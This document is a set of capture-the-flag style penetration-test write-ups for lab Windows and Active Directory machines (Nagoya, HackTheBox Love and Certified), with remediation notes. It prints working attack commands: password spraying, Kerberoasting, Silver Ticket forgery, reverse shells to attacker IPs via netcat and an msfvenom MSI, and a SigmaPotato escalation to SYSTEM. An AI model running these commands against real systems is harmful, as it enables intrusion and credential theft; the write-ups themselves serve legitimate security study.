Corporate and lab passwords overwhelmingly follow a predictable grammar: a meaningful word + a year, with the first letter capitalized, sometimes with a trailing symbol. Summer2023, Nagoya2023, Fishing2024. The word comes from the organization's world; the year comes from a date on their site. No tool does this end-to-end, so the protocol is a two-stage pipeline: one tool supplies the vocabulary, another applies the grammar.

Stage 1 — Scrape the vocabulary with CeWL.

CeWL spiders a website and extracts every unique word on the page into a wordlist. It's the fastest way to build an organization-specific dictionary — company name, product terms, employee names, industry jargon.

cewl -w newpass.txt -d 2 -m 4 http://nagoya-industries.com/ --with-numbers

The flags: -d 2 sets crawl depth (how many links deep to follow — depth 2 fully covers a small site like this without wasting time re-crawling), -m 4 sets the minimum word length to filter out noise, and --with-numbers tells CeWL to also capture numeric tokens like the 2023 in the site's copyright footer.

A critical thing to understand about CeWL's output: it captures 2023 as its own standalone entry. CeWL has no concept of gluing that year onto other words — it only extracts what's literally present as discrete tokens. That concatenation is a separate step, which is exactly the point of Stage 2.

From the raw CeWL output I manually pruned entries that were obviously useless as password bases (stopwords like "that", "have", "where") and kept the meaningful ones: the company name, employee surnames, and industry terms. I also merged in a small curated seed list of common base words, capitalized, to widen the net slightly.

Stage 2 — Apply the grammar with combinator.

combinator.bin from hashcat-utils takes two wordlists and produces every possible concatenation of a word from the first with a word from the second. By combining my pruned base-word list against a short list of candidate years, I generated the actual spray candidates in the Word+Year pattern:

/usr/share/hashcat-utils/combinator.bin neopass.txt newpass.txt > zionpass.txt

I verified the pipeline had actually produced viable candidates before spraying:

grep Summer2023 zionpass.txt
Summer2023

That confirmation is the whole methodology paying off — my generated list provably contained the kind of candidate that unlocks the box, built entirely from the site's own content plus a date I read off the footer.

Why not just use rule-based mutation (best64, etc.)? I initially tried john --rules=best64 against the base words. It's the wrong tool for this pattern. Generic rule sets like best64 mutate via case-toggling, leetspeak substitution, and single-character appends — they're tuned for cracking arbitrary hashes at volume, not for cleanly reconstructing a word + four-digit-year concatenation. The stock rules don't reliably chain four sequential digit-appends to bolt "2023" onto a word. Combinator does exactly that, deterministically. CeWL builds your dictionary, but you have to supply the grammar — and combinator is the right tool for that grammar.

This is the repeatable protocol I now reach for any time a target exposes public web content and I need a foothold credential:

1. Scrape for vocabulary with CeWL (--with-numbers, plus -a and --meta_file when there's metadata worth pulling).

2. Identify the convention, not just the words — look at how the site presents dates (copyright footer, "in business since…" claims) and map that to a human password habit.

3. Generate combinatorially with combinator.bin rather than leaning on generic rule sets.

4. Always pull the lockout policy first so the spray doesn't lock accounts.

5. Attack Path

5.1 Initial Access — Web OSINT to Valid Usernames

Vulnerability Explanation: The public-facing web server discloses a complete roster of employee full names on its team page.

In an Active Directory environment where usernames follow a predictable first.last convention, a public employee list is effectively a disclosure of valid domain usernames — the raw material for both password spraying and Kerberos-based attacks.

Vulnerability Fix: Avoid publishing complete staff directories on public-facing sites where not operationally necessary. More importantly, enforce a strong password policy and account lockout thresholds so that a known username list cannot be leveraged into access via spraying.

Severity: Medium (as an information disclosure; it becomes Critical in combination with the weak password below)

Steps to reproduce the attack:

Browsing to the site on port 80 reveals "Nagoya Industries," a fishing company. Two details on the landing page matter immediately: the © 2023 in the footer (a year for later use), and the navigation.

A content discovery scan confirmed there were no hidden endpoints beyond what was linked in the navigation:

ffuf -u http://192.168.148.21/FUZZ -w /usr/share/wordlists/elite.txt -fc 403

The only meaningful result was the team page, which was already linked and which exposed the full list of employee names.

I saved those names to a file and generated username permutations with username-anarchy:

username-anarchy -i users.txt > user.txt

This produces a large set of candidate formats (fiona.clark, fclark, clarkf, etc.). To find which format the domain actually uses — and which accounts genuinely exist — I validated the whole list against Kerberos pre-authentication with kerbrute, which is non-intrusive and doesn't generate failed-logon events for valid users:

kerbrute userenum userr.txt -d nagoya-industries.com --dc 192.168.148.21

This returned 28 valid usernames, confirming the domain uses the first.last format. Critically, this included andrea.hayes, christopher.lewis, and the accounts that would matter later in the chain.

5.2 Initial Access — Password Spraying to a Foothold Credential

Vulnerability Explanation: At least one domain account (andrea.hayes) was protected by a weak, formulaic password (Nagoya2023) built from the company name and a year visible on the corporate website. This password is trivially guessable using content scraped from the organization's own public site.

Vulnerability Fix: Enforce a password policy that prohibits passwords containing the company name and rejects predictable Word+Year patterns. Implement and monitor account lockout thresholds. Consider deploying a banned-password list seeded with organization-specific terms.

Severity: Critical

Steps to reproduce the attack:

Using the wordlist generated with the CeWL → combinator pipeline described in the section above, I sprayed the validated username list over SMB using NetExec:

nxc smb 192.168.148.21 -u users.txt -p zionpass.txt --continue-on-success

The spray returned a hit:

SMB   192.168.148.21   445   NAGOYA   [+] nagoya-industries.com\andrea.hayes:Nagoya2023

With a valid domain credential in hand, share enumeration now succeeded, showing the standard DC shares (SYSVOL, NETLOGON, IPC$ as READ). A second credential, fiona.clark:Summer2023, was also recovered — a useful illustration of a key AD concept: fiona's credentials worked for SMB and RDP but were rejected for WinRM, because valid domain credentials do not automatically grant interactive access. That distinction becomes the pivot point later in the chain.

5.3 Post-Exploitation — Kerberoasting the Service Accounts

Vulnerability Explanation: The domain contains service accounts (svc_helpdesk, svc_mssql) with Service Principal Names registered. Any authenticated domain user can request a Kerberos service ticket for these accounts, which is encrypted with the service account's password hash and can be cracked offline. svc_mssql used a weak password that fell to a dictionary attack in seconds.

Vulnerability Fix: Use Group Managed Service Accounts (gMSA) or enforce very long (25+ character) random passwords for all SPN-bearing service accounts, making offline cracking infeasible.

Severity: High

Steps to reproduce the attack:

With any valid credential, the correct first move against a domain is to Kerberoast — it's cheap, it's low-noise, and it only requires an authenticated user regardless of privilege level. I requested TGS tickets for all SPN-bearing accounts using andrea's credentials:

impacket-GetUserSPNs nagoya-industries.com/andrea.hayes -request

This returned crackable hashes for two service accounts, svc_helpdesk and svc_mssql. I saved them and ran them against rockyou.txt with John:

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

The svc_mssql hash cracked almost instantly to Service1. The svc_helpdesk hash did not crack against rockyou, but as it turns out I wouldn't need it to — I'd obtain control of that account a different way.

A precise note on why this matters, since it's easy to state imprecisely: Kerberoasting gets you a crackable credential for the service account — nothing more at this stage. It does not by itself grant any special token or privilege. The reason svc_mssql becomes the key to the whole box is separate: because the MSSQL service runs as svc_mssql on the host, that account is granted SeImpersonatePrivilege at the OS level. But that privilege only becomes usable once I'm executing code inside the service's process context on the machine — which requires the Silver Ticket and xp_cmdshell steps further down. The cracked hash is the credential that eventually gets me there; it is not the privilege itself. Conflating "I Kerberoasted a service account" with "I have SeImpersonate" is a common shortcut, and keeping the two distinct is what makes the rest of the path make sense.

5.4 Privilege Escalation — ACL Abuse Chain to WinRM Access

Vulnerability Explanation: The andrea.hayes account holds GenericAll rights over the svc_helpdesk account, which in turn holds GenericAll over a set of other users — including christopher.lewis, a member of the Remote Management Users group. GenericAll permits an attacker to reset the target's password outright, allowing a chain of account takeovers that terminates at an account with interactive (WinRM) access.

Vulnerability Fix: Audit and remediate excessive Active Directory ACLs. No standard user should hold GenericAll over other user objects. Apply least-privilege delegation and regularly review object permissions with tooling like BloodHound.

Severity: Critical

Steps to reproduce the attack:

To understand what andrea's access was actually good for, I collected the domain's object and ACL data with RustHound-CE (a fast, modern BloodHound collector) using her credentials:

rusthound-ce -u andrea.hayes -p Nagoya2023 -d nagoya-industries.com -c All -z -n 192.168.148.21

I ingested the resulting ZIP into BloodHound and ran the "Shortest Paths from Owned Principals" analysis. The graph revealed the outbound control path clearly: andrea (via the employees group) has GenericAll over svc_helpdesk and several other users.

Following the chain further, svc_helpdesk in turn had control leading to christopher.lewis — and christopher's membership in Remote Management Users is what makes him the target:

that group grants WinRM access, the interactive foothold none of the other accounts provided.

I abused the chain with bloodyAD, resetting each target's password in sequence. The first attempt against svc_helpdesk was rejected for failing the domain's password complexity requirement — a small but instructive detail — and succeeded once I supplied a compliant password:

bloodyAD -u andrea.hayes -p Nagoya2023 -d nagoya-industries.com --host 192.168.108.21 set password svc_helpdesk 'Password123!'

Then I used my newly-controlled svc_helpdesk to reset christopher's password in turn:

bloodyAD -u svc_helpdesk -p 'Password123!' -d nagoya-industries.com --host 192.168.108.21 set password christopher.lewis 'Password123!'

A NetExec check confirmed christopher now had WinRM access with a (Pwn3d!) result, and I connected with Evil-WinRM:

evil-winrm -i 192.168.108.21 -u christopher.lewis -p 'Password123!'

This shell yielded the user flag from C:\local.txt:

local.txt: 9a376490a4d65f9b293276aec725c5eb

However, whoami /all on christopher confirmed he held no useful privileges for escalation — only the defaults (SeMachineAccountPrivilege, SeChangeNotifyPrivilege, SeIncreaseWorkingSetPrivilege). Christopher was never meant to be the escalation vehicle; he was the interactive access vehicle. The escalation had to come from elsewhere.

5.5 Privilege Escalation — Reaching the Firewalled MSSQL Service

Vulnerability Explanation: The host runs a Microsoft SQL Server instance on port 1433 that is bound to all interfaces but blocked at the network perimeter by a host firewall — it does not appear in an external port scan, yet is fully accessible locally on the box. Combined with an interactive foothold, this internally-reachable service becomes a viable escalation vector via xp_cmdshell.

Vulnerability Fix: Ensure host-based firewall rules are consistent with intent; if MSSQL is meant to be local-only, bind it to loopback rather than relying solely on perimeter filtering. Restrict xp_cmdshell and apply least privilege to SQL logins.

Severity: High

Steps to reproduce the attack:

From christopher's shell, I enumerated locally listening ports:

netstat -ano | findstr LISTEN

Port 1433 was listening — even though it had never appeared in the external nmap scan. The only conclusion is a host firewall blocking it at the perimeter, meaning MSSQL is reachable only from on the box itself. This is significant: MSSQL's xp_cmdshell procedure allows OS command execution as the account running the SQL service. If I could reach that service and enable xp_cmdshell, I'd get command execution as svc_mssql — the account I already knew (from the Kerberoast) and, more importantly, the account that would hold SeImpersonatePrivilege.

To reach the firewalled port from my attack box, I set up a tunnel with Ligolo-ng. I uploaded the agent to the target, started the proxy and listener on my side, and added a route for the tunnel's virtual interface:

# On Kali
sudo ligolo-proxy -selfcert
sudo ip route add 240.0.0.1/32 dev ligolo

# On target (via christopher's shell)
Start-Process -FilePath "C:\ProgramData\agent.exe" -ArgumentList "-connect 192.168.45.245:11601 -ignore-cert"

With the tunnel up and the session started, MSSQL on the target's port 1433 was now reachable through the virtual 240.0.0.1 address as if it were local.

5.6 Privilege Escalation — Silver Ticket to SQL Sysadmin

Vulnerability Explanation: Because the svc_mssql account's password (and therefore its NT hash) is known, an attacker can forge a Kerberos Silver Ticket for the MSSQL service. This ticket can assert arbitrary group membership and impersonate a privileged user (Administrator) to that specific service, without ever contacting the KDC — granting SQL sysadmin rights that the svc_mssql login itself did not possess.

Vulnerability Fix: Rotate service account credentials regularly and use gMSA. Enforce SMB/LDAP signing and, where possible, restrict Kerberos encryption types. Monitor for TGS requests without corresponding TGT requests, which can indicate ticket forgery.

Severity: Critical

Steps to reproduce the attack:

Authenticating to MSSQL directly with the cracked svc_mssql:Service1 credentials worked, but the login had no administrative rights inside SQL — attempting to enable xp_cmdshell failed:

SQL (NAGOYA-IND\svc_mssql  guest@master)> enable_xp_cmdshell
ERROR: User does not have permission to perform this action.

The account could log in but was not a SQL sysadmin. This is precisely the scenario a Silver Ticket solves: I could forge a ticket for the MSSQL service that claims to be the Administrator with Domain Admins group membership. The SQL service trusts the ticket implicitly because it's encrypted with the service account's own key, which I possessed.

First I computed the NT hash of the known password:

python3 -c "from impacket.ntlm import compute_nthash; print(compute_nthash('Service1').hex())"
e3a0168bc21cfb88b95c954a5b18f57c

Then I forged the ticket with impacket-ticketer, supplying the domain SID (pulled from the BloodHound data I'd already collected), the MSSQL SPN, and impersonating the Administrator (user-id 500) with the Domain Users and Domain Admins group RIDs (513, 512):

impacket-ticketer -nthash e3a0168bc21cfb88b95c954a5b18f57c \
  -domain-sid S-1-5-21-1969309164-1513403977-1686805993 \
  -domain nagoya-industries.com \
  -spn MSSQL/nagoya.nagoya-industries.com \
  -user-id 500 -groups 513,512 Administrator

I loaded the resulting ticket into my environment:

export KRB5CCNAME="$PWD/Administrator.ccache"

And authenticated to MSSQL through the Ligolo tunnel using the forged ticket. This time the connection came back as Administrator with a (Pwn3d!) result, confirming SQL sysadmin rights:

nxc mssql 240.0.0.1 --use-kcache -x whoami
MSSQL   240.0.0.1   1433   NAGOYA   [+] nagoya-industries.com\Administrator from ccache (Pwn3d!)
MSSQL   240.0.0.1   1433   NAGOYA   nagoya-ind\svc_mssql

Note the crux of the technique in that output: the Silver Ticket authenticated me as Administrator to the SQL service, which is what unlocked xp_cmdshell — but the OS command itself executes as svc_mssql, the account the service runs under. That's exactly what I wanted, because svc_mssql is the account holding SeImpersonatePrivilege.

5.7 Privilege Escalation — SeImpersonate to SYSTEM

Vulnerability Explanation: The svc_mssql service account holds SeImpersonatePrivilege. This privilege allows a process to impersonate the security context of any client that connects to it, which can be abused with a "potato"-family exploit to capture and impersonate the SYSTEM token, resulting in full local privilege escalation.

Vulnerability Fix: Where feasible, run SQL Server under a Group Managed Service Account with the minimum required privileges, and be aware that SeImpersonatePrivilege is a well-known escalation primitive. Keep the OS patched and monitor for the named-pipe and token-manipulation behavior these exploits produce.

Severity: Critical

Steps to reproduce the attack:

Using the forged-ticket MSSQL access, I staged a netcat binary and used xp_cmdshell to fire a reverse shell back to my listener, landing a shell as svc_mssql.

Confirming the privilege set:

PS C:\Windows\system32> whoami /priv

The output confirmed SeImpersonatePrivilege was present and Enabled.

This is the green light for a potato attack. I uploaded SigmaPotato and used it to impersonate the SYSTEM token and spawn a new reverse shell:

.\sp.exe "cmd /c C:\ProgramData\nc.exe -e cmd.exe 192.168.45.245 443"

SigmaPotato's output walked through the impersonation cleanly:

The new shell landed as NT AUTHORITY\SYSTEM:

C:\ProgramData>whoami
nt authority\system

5.8 Post-Exploitation — Proof

With SYSTEM access on the Domain Controller, the box was fully compromised. Both flags were retrieved with their host context shown.

Local.txt value:

The user flag was captured earlier from the Evil-WinRM session as christopher.lewis (see 5.4), read from the root of the C: drive:

*Evil-WinRM* PS C:\> type local.txt
9a376490a4d65f9b293276aec725c5eb

Proof.txt value:

The proof flag was captured from the Administrator's desktop in the final SYSTEM shell:

C:\Users\Administrator\Desktop>whoami && type proof.txt
nt authority\system
e6c616d7a54a5878b928b3174ccb0b57

6. What Didn't Work

Methodical elimination is as much a part of the process as the successful path, so it's worth recording the branches I ruled out:

• AS-REP Roasting was checked and came up empty. Running impacket-GetNPUsers against the full user list returned doesn't have UF_DONT_REQUIRE_PREAUTH set for every one of the 27 accounts — no account had Kerberos pre-authentication disabled, so this vector was closed.

• Shadow Credentials / PKINIT against svc_helpdesk failed with KDC_ERR_PADATA_TYPE_NOSUPP. This error indicates the domain has no Active Directory Certificate Services (AD CS) / Certificate Authority, so certificate-based authentication has nothing to validate against. This is what pushed me toward a direct GenericAll password reset instead — the right call, since the ACL abuse path was the intended one.

• RunasCs with the cracked svc_mssql credentials failed with a logon-type error (logon type '2' is not granted), because the account was only permitted network logons (type 3), not interactive (type 2). This is why the path had to route through the MSSQL service rather than a direct runas-style credential swap.

7. Conclusion

Nagoya is a genuinely well-constructed Hard box because it doesn't rely on a single trick — it demands a coherent chain of reasoning where each step unlocks the conditions for the next. The standout lesson, and the reason it's worth studying, is the initial foothold: it rewards a disciplined, repeatable protocol for turning a target's own public content into a precise, effective password spray list. Scrape the vocabulary, supply the grammar, and keep the list small and targeted rather than brute-forcing blindly.

From there the box is a tour of the modern AD attack surface — Kerberoasting, BloodHound-driven ACL abuse, internal pivoting with Ligolo-ng, Silver Ticket forgery, and a classic SeImpersonate escalation. Each technique is worth knowing on its own; chaining them under a clear methodology is what turns a hard box into a solved one.

Machine Name: Love
Platform: HackTheBox
Operating System: Windows
Target IP: 10.129.48.103

Objective:
Love was a straightforward Windows machine built around a vulnerable web application and a clean privilege escalation path. The initial attack involved identifying a Voting System web application running vulnerable software, but the most valuable part of the box for me was the Windows privilege escalation. This machine introduced me to abusing the AlwaysInstallElevated registry misconfiguration by creating and executing a malicious MSI package.

Tools Used

• RustScan

• Nmap

• NetExec

• smbclient

• ffuf

• SearchSploit

• GitHub

• Python HTTP server

• Netcat

• rlwrap

• PowerShell

• PowerUp.ps1

• msfvenom

• msiexec

• curl

• Windows command-line utilities

2. Enumeration

I began the engagement with a RustScan scan against the target.

rustscan -a 10.129.48.103 -b 5000

The scan showed a fairly typical Windows attack surface. Several Windows services were exposed, including SMB and WinRM, along with multiple web services.

Notable open ports included:

• 80 - HTTP

• 135 - MSRPC

• 139 - NetBIOS

• 443 - HTTPS

• 445 - SMB

• 3306 - MySQL

• 5000 - HTTP service

• 5985 - WinRM

• Multiple high RPC ports

The service information also leaked the domain name love.htb, so I added it to my /etc/hosts file.

Since SMB was exposed, I checked anonymous access first. SMB is always worth testing early on Windows targets because anonymous shares sometimes expose credentials, configuration files, backups, or other useful information.

nxc smb 10.129.48.103 -u '' -p '' --shares

The target allowed a null authentication check to complete, but share enumeration was denied.

I also tested the Guest account.

nxc smb 10.129.48.103 -u 'guest' -p '' --shares

The target showed that the Guest account was disabled.

I confirmed this behavior with smbclient as well.

smbclient -N -L //10.129.48.103/

This also failed with access denied, so SMB did not provide an easy path forward.

With SMB ruled out, I moved to web enumeration. I started with the web server on port 80. Since earlier enumeration showed that the application was using PHP, I ran directory brute forcing with PHP extensions while manually browsing the site.

ffuf -u http://10.129.48.103/FUZZ -w /usr/share/wordlists/elite.txt -e .php -fc 403

Visiting the site by both IP address and love.htb returned a login page for a Voting System application.

I attempted common default credentials, but the login failed. I also tried basic SQL injection payloads in the visible input fields, but the application did not immediately respond in a useful way.

The ffuf scan returned an interesting discovery:

/admin/

When I browsed to /admin/, I found another login page.

I repeated the same basic credential and SQL injection checks there, but they were unsuccessful as well.

At first, the application looked like custom HackTheBox software because the site was plain and minimal. To be thorough, I searched for known exploits related to Voting System.

searchsploit voting system

This returned several public exploits for Voting System 1.0, including authentication bypass, SQL injection, and remote code execution vulnerabilities.

Further research led me to a public GitHub repository for an unauthenticated RCE exploit against Voting System 1.0.

The exploit chained SQL injection authentication bypass behavior with an authenticated file upload/RCE path. This became the clear exploitation path.

3. Exploitation

After identifying the Voting System 1.0 unauthenticated RCE exploit, I cloned or downloaded the exploit script and prepared a listener.

rlwrap nc -nvlp 9001

Then I ran the exploit against the target.

python3 ex.py -t 10.129.48.103 -i 10.10.15.205 -r 9001

The exploit successfully logged into the application, uploaded the payload, and triggered execution.

I received a reverse shell back from the target.

connect to [10.10.15.205] from (UNKNOWN) [10.129.48.103]
Microsoft Windows [Version 10.0.19042.867]

I confirmed my current user.

whoami

love\phoebe

The shell landed in the web application directory:

C:\xampp\htdocs\omrs\images>

At this point, I had initial access as the low-privileged user phoebe.

4. Privilege Escalation

I began local privilege escalation enumeration by identifying the current user and checking the user’s privileges.

whoami /all

The user was love\phoebe. The token did not show any obvious high-impact privileges that could be abused directly. The user was a member of common groups such as Users, Authenticated Users, and Remote Management Users, but nothing immediately gave me administrative control.

Next, I listed local users.

net user

There were no extra obvious local users to pivot into.

I then checked for AutoLogon credentials in the Windows registry.

Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

This did not reveal stored credentials.

After that, I checked the user directories for interesting files.

tree /f /a C:\Users

I found user.txt under Phoebe’s Desktop, but nothing else useful for privilege escalation.

I also reviewed the web directories because the initial foothold came from XAMPP. Web directories are worth checking because administrators sometimes leave database credentials, configuration files, backups, or plaintext passwords inside application folders. In this case, I did not find useful credentials in the XAMPP web root.

Next, I checked listening network services.

netstat -ano | findstr TCP | findstr "0:"

Several services were listening, but nothing immediately stood out as a clear local privilege escalation vector.

At this point, I decided to run PowerUp to look for common Windows privilege escalation misconfigurations I may have missed manually. I hosted the script from my Kali machine.

python3 -m http.server 80

Then I downloaded it to the target.

curl 10.10.15.205/pup.ps1 -o pup.ps1

When I tried to load the script, PowerShell script execution was restricted. This was a useful learning point because I learned how to bypass the restriction for the current PowerShell process without changing the system permanently.

Set-ExecutionPolicy -Scope Process RemoteSigned

The important part is -Scope Process. This applies the execution policy change only to the current PowerShell session. It does not permanently weaken the host’s policy. After that, I loaded PowerUp and ran its checks.

PowerUp identified the key privilege escalation path:

This meant the target was vulnerable to AlwaysInstallElevated abuse.

AlwaysInstallElevated is a Windows Installer policy controlled by registry keys. When it is enabled in both the machine and user policy locations, Windows allows MSI installer packages to run with elevated privileges. That is dangerous because MSI files are not just normal archives or setup files. An MSI package can contain installation logic, file writes, registry changes, and custom actions.

In a secure configuration, a low-privileged user should not be able to install arbitrary software with administrative rights. But when AlwaysInstallElevated is enabled incorrectly, a low-privileged user can create or upload a malicious MSI package and execute it through msiexec. Windows then runs the installer with elevated privileges, allowing the payload inside the MSI to execute as NT AUTHORITY\SYSTEM.

In plain terms, the system was configured to trust MSI installers too much. Since I could write a malicious MSI and run it, I could turn that installer behavior into privilege escalation.

I created a malicious MSI reverse shell payload with msfvenom.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.205 LPORT=7777 -f msi -o rev.msi -a x64

Then I hosted it from my Kali machine and downloaded it to the target.

I started a listener for the MSI payload.

Finally, I executed the MSI package with msiexec.

msiexec /quiet /qn /i rev.msi

The options made the install run silently:

• /i tells Windows Installer to install the MSI package.

• /quiet suppresses user interaction.

• /qn runs with no GUI.

The payload executed successfully, and I received a reverse shell as NT AUTHORITY\SYSTEM.

This completed the privilege escalation path.

5. Lessons Learned

1. SMB should still be checked early even when it does not immediately pay off
SMB did not expose shares or useful files on this box, but checking it early was still the right move. Anonymous SMB access can lead to straightforward wins on Windows machines, so it made sense to rule it out before spending more time on the web application.

2. Plain-looking web applications may still be public software
The Voting System application looked simple enough that it could have been custom HTB software. Searching for known exploits proved that it was a real vulnerable application with public exploit code available. This reinforced the importance of checking application names with tools like searchsploit instead of assuming every simple interface is custom-built.

3. Web exploitation often comes from chaining smaller weaknesses
The exploit path was not just “visit one URL and get a shell.” The public exploit chained application weaknesses together, using SQL injection/authentication bypass behavior to reach functionality that allowed code execution. That is a useful reminder that web exploitation often depends on how multiple flaws interact.

4. Execution policy is not the same thing as real security control
The PowerShell execution policy initially blocked external script execution, but Set-ExecutionPolicy -Scope Process RemoteSigned allowed me to bypass it for the current session. This taught me that execution policy is more of a safety feature than a true security boundary.

5. AlwaysInstallElevated is a high-impact Windows misconfiguration
The biggest takeaway from Love was learning how dangerous AlwaysInstallElevated can be. If both required registry keys are enabled, a low-privileged user can execute a malicious MSI package with elevated privileges and become SYSTEM.

6. MSI files are more powerful than normal installers
Before this box, I understood MSI files mostly as Windows installation packages. Love made it clear that MSI files can contain custom actions that execute code. When Windows runs that MSI with elevated privileges, the custom action becomes a privilege escalation mechanism.

6. Defensive Insight

1. Patch public-facing web applications
The initial compromise came from vulnerable Voting System software exposed through the web server. Defenders should maintain an accurate software inventory, patch known vulnerable applications, and remove unsupported software from production environments.

2. Do not expose unnecessary services
The target exposed several services, including SMB, WinRM, MySQL, and multiple web ports. Even when some services are properly locked down, each exposed service increases the attack surface and gives attackers more enumeration opportunities.

3. Disable AlwaysInstallElevated unless there is a strict business need
AlwaysInstallElevated should not be enabled in normal environments. If both the HKCU and HKLM policy values are set, low-privileged users may be able to execute MSI packages with elevated privileges.

4. Monitor suspicious MSI creation and execution
Defenders should watch for MSI files created or executed from user-writable locations such as C:\Users, C:\ProgramData, temporary directories, or web application directories. Silent MSI execution using msiexec /quiet or /qn should also be treated as suspicious when performed by low-privileged users.

5. Treat PowerShell execution policy as weak protection
Execution policy should not be relied on as a security boundary. Attackers can often bypass it per process. Stronger controls such as AppLocker, Windows Defender Application Control, constrained language mode, and proper EDR monitoring are more meaningful defenses.

Useful Commands

RustScan initial scan

rustscan -a 10.129.48.103 -b 5000

Anonymous SMB share enumeration with NetExec

nxc smb 10.129.48.103 -u '' -p '' --shares

Guest SMB enumeration attempt

nxc smb 10.129.48.103 -u 'guest' -p '' --shares

Anonymous SMB enumeration with smbclient

smbclient -N -L //10.129.48.103/

Web directory brute force with PHP extension

ffuf -u http://10.129.48.103/FUZZ -w /usr/share/wordlists/elite.txt -e .php -fc 403

Search for public Voting System exploits

searchsploit voting system

Run the Voting System unauthenticated RCE exploit

python3 ex.py -t 10.129.48.103 -i 10.10.15.205 -r 9001

Catch the initial reverse shell

rlwrap nc -nvlp 9001

Check current Windows user

whoami

Check user privileges and group membership

whoami /all

List local users

net user

Check for AutoLogon registry credentials

Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

Recursively list user directories

tree /f /a C:\Users

Check listening TCP services

netstat -ano | findstr TCP | findstr "0:"

Host files from Kali

python3 -m http.server 80

Download PowerUp to the target

curl 10.10.15.205/pup.ps1 -o pup.ps1

Bypass PowerShell execution policy for the current process

Set-ExecutionPolicy -Scope Process RemoteSigned

Load and run PowerUp checks

.\pup.ps1
Invoke-AllChecks

Create malicious MSI payload

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.205 LPORT=7777 -f msi -o rev.msi -a x64

Download malicious MSI to the target

curl 10.10.15.205/rev.msi -o rev.msi

Catch SYSTEM reverse shell

rlwrap nc -nvlp 7777

Execute MSI payload silently

msiexec /quiet /qn /i rev.msi

Machine Name: Certified
Platform: HackTheBox
Operating System: Windows
Target IP: 10.129.231.186
Objective: Use the provided low-privileged domain credentials to enumerate the Active Directory environment, identify a viable privilege escalation path, and obtain full administrative control over the domain controller.

Certified was a really solid box because it chained together several realistic Active Directory misconfigurations into one clean attack path. Since this was an assumed-breach scenario, I started with valid domain user credentials instead of going in blind. What I liked most was how the box gradually pushed me from normal domain enumeration into ACL abuse, then into account takeover through shadow credentials, and finally into ADCS abuse to reach full domain compromise.

Tools Used

• RustScan

• Nmap

• NetExec (nxc)

• Impacket

• BloodHound

• RustHound

• bloodyAD

• Certipy

• Evil-WinRM

2. Enumeration

General Enumeration

I started the engagement the same way I usually do by scanning the target for exposed services. The port scan showed a very typical Active Directory attack surface, including DNS, Kerberos, LDAP, SMB, WinRM, and several high RPC ports.

That immediately told me I was dealing with a domain controller and that most of my early progress would likely come from authenticated AD enumeration rather than web exploitation or service-specific bugs.

From the scan and subsequent SMB enumeration, I also learned the host was DC01 in the certified.htb domain. Since the FQDN was exposed, I added DC01.certified.htb to my /etc/hosts file so my Kerberos- and AD-related tooling would resolve the host correctly. I also took note that the box presented certificate-related infrastructure, which made me keep ADCS in the back of my mind as a possible escalation route later on.

SMB Enumeration

Because I already had valid domain credentials for judith.mader, I moved straight into authenticated SMB enumeration. I first listed the available shares to see whether I had access to any non-default content or any folders that might leak credentials, scripts, or internal documentation.

That check only gave me access to standard domain shares. I could read IPC$, NETLOGON, and SYSVOL, but there was nothing immediately unusual about the share permissions. At this point, SMB was useful for confirming my authenticated access level and learning more about the environment, but it did not directly hand me a quick win.

User Enumeration

Next, I used authenticated SMB-based user enumeration to build a list of domain users I could target later. This gave me several important accounts to track, including management_svc and ca_operator, both of which ended up mattering a lot later in the attack chain.

I also checked whether my current user had any remote access options that would let me pivot into local host enumeration right away, but that path was not available to me yet. Since I could not immediately turn my Judith access into a shell, I stayed focused on domain-level enumeration instead.

Kerberos Enumeration

With a user list in hand, I tried the obvious Kerberos attacks next. I first performed Kerberoasting and successfully requested a service ticket for management_svc. My first attempt ran into clock skew issues, so I synced my attack box time against the target and repeated the request. After correcting the time, I was able to extract the TGS hash cleanly.

Even though I got the hash, I was not able to crack it offline with my wordlists. That mattered because it meant I had identified a potentially useful service account, but password cracking was not going to be my path forward here.

I also checked the rest of the users for AS-REP roasting opportunities, but none of them had Do not require Kerberos preauthentication enabled. That closed off another common early AD attack path and pushed me toward privilege relationships rather than credential attacks.

ACL and Relationship Enumeration

Since the straightforward credential attacks were not getting me anywhere, I moved to BloodHound-based domain relationship analysis using external collection.

BloodHound showed that my compromised user, judith.mader, had WriteOwner over the Management group. That group in turn had control over management_svc, and management_svc had GenericAll over ca_operator. That was the real path forward.

I now had a clear route to turn one low-privileged user into control over additional accounts by abusing permissions that had been delegated badly inside the domain.

3. Exploitation

The first thing I abused was Judith’s WriteOwner permission over the Management group. I used that to take ownership of the group object, and from there I granted myself the rights I needed over it.

Once I controlled the group, I added myself to Management, which let me inherit the group’s influence over the next account in the chain.

With that in place, I now had the ability to affect management_svc. I used shadow credentials to directly compromise the account.

After taking over management_svc, I repeated the same general idea against ca_operator, because management_svc had GenericAll over that user. Again, shadow credentials gave me a direct path to compromise the account without needing to know the original password.

This shows how important it is to understand that object control in Active Directory often matters more than the password currently set on the account.

4. Privilege Escalation

User Context Validation

Once I had control of ca_operator, I immediately treated that account as a likely ADCS-related foothold based on its name and role. I used Certipy to enumerate the certificate infrastructure and look for vulnerable templates that this user could enroll in.

That paid off quickly. I found a vulnerable certificate template, CertifiedAuthentication, that was exploitable through ESC9.

Since ca_operator could enroll in it, I now had a path from delegated account control into full domain compromise.

At a high level, ESC9 matters because the template does not include the strong security extension that would normally tie the issued certificate more tightly to the original requesting account. That creates room for identity mapping abuse if I can manipulate the account attributes involved in certificate issuance.

Domain/Host Privilege Escalation

To exploit the template, I needed the issued certificate to be associated with Administrator rather than the account I currently controlled. Since management_svc had GenericAll over ca_operator, I used that access to temporarily change ca_operator’s UPN to:

administrator@certified.htb

With the UPN changed, I requested a certificate from the vulnerable CertifiedAuthentication template. That gave me an administrator.pfx certificate containing the administrator@certified.htb UPN.

The critical detail here was that I then had to change ca_operator’s UPN back to its original value. That step mattered because if the modified account kept the Administrator UPN, certificate mapping would not resolve the way I wanted during authentication. Restoring the original UPN removed the collision and let the certificate authenticate as the real Administrator account instead of continuing to map back to ca_operator.

After restoring the UPN, I authenticated with the PFX and used it to retrieve the Administrator NT hash. From there, I used Evil-WinRM with the hash and obtained a shell on the box as:

certified\administrator

That completed the compromise and gave me full administrative control over the domain controller.

5. Lessons Learned

1. BloodHound paths can be more valuable than cracked credentials.
